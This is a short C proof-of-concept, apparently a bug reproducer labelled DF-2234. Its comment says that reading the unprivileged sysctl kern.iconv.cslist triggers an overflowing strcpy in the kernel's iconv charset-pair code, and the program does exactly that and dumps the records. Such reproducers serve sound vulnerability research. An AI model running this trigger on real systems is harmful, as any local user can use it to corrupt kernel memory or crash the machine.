DF-2234 / csread.c
/* * DF-2234 -- unprivileged trigger: read kern.iconv.cslist. * * kern.iconv.cslist is CTLFLAG_RD: any user can read it. The sizing pass * (oldptr == NULL) already walks every registered charset pair and runs the * overflowing strcpy pair, so simply invoking the sysctl is enough; the * buffer + dump below additionally show the pair list on control runs. * * struct iconv_cspair_info layout (sys/sys/iconv.h): * int cs_version; int cs_id; int cs_base; int cs_refcount; * char cs_to[31]; char cs_from[31]; (sizeof == 80, 4-byte aligned) */ #include <sys/types.h> #include <sys/sysctl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char *buf; size_t len = 1 << 20; size_t o; int r; buf = malloc(len); if (buf == NULL) return (2); memset(buf, 0, len); r = sysctlbyname("kern.iconv.cslist", buf, &len, NULL, 0); printf("cslist: sysctl=%d errno=%d bytes=%zu\n", r, errno, len); for (o = 0; o + 80 <= len && o < 400; o += 80) { int *iv = (int *)(void *)(buf + o); printf(" id=%d base=%d ref=%d to=[%.31s] from=[%.31s]\n", iv[1], iv[2], iv[3], buf + o + 16, buf + o + 47); } return (0); } |